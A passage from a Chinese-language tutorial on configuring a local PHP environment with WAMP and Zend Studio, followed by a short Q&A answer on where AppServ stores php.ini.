添加一個Alias目錄，（就像在IIS上配置一個虛擬目錄）
添加一個Alias目錄名稱。
設置Alias目錄名稱指向的物理路徑。
4、PHP調試
在C:\wamp\phpDemo文件夾中添加Index.php文件，這時就可以在index.php 編寫PHP代碼了。
在瀏覽器地址欄中輸入：http://localhost/ 如果能看到上圖PHP伺服器配置相關信息，說明您的PHP伺服器配置成功。
你可以直接訪問http://localhost/Demo 就可以查看剛才編寫的index.php程序。顯示頁面執行的結果。
2）、PHP開發工具ZendStudio安裝圖
Zend Studio安裝過程很簡單，點擊「Next」、「Next"基本就可以搞定。
安裝完成後，你就可以添加一個PHP項目，編寫你的PHP網站。在創建PHP項目時，要填寫項目名稱和保持路徑。
這是你就可以在項目中添加PHP文件。編寫PHP頁面。
5、PHP開發環境
點擊運行，就可以在Zend Studion IDE中瀏覽PHP頁面執行的內容。

Ⅹ Appserv裡面的PHP配置文件默認在哪個文件夾裡面怎麼搜索php.ini找不到啊大神們幫幫忙

集成開發環境中，PHP的配置文件一般被放在系統盤下的Windows文件夾下，如：C:\Windows\php.ini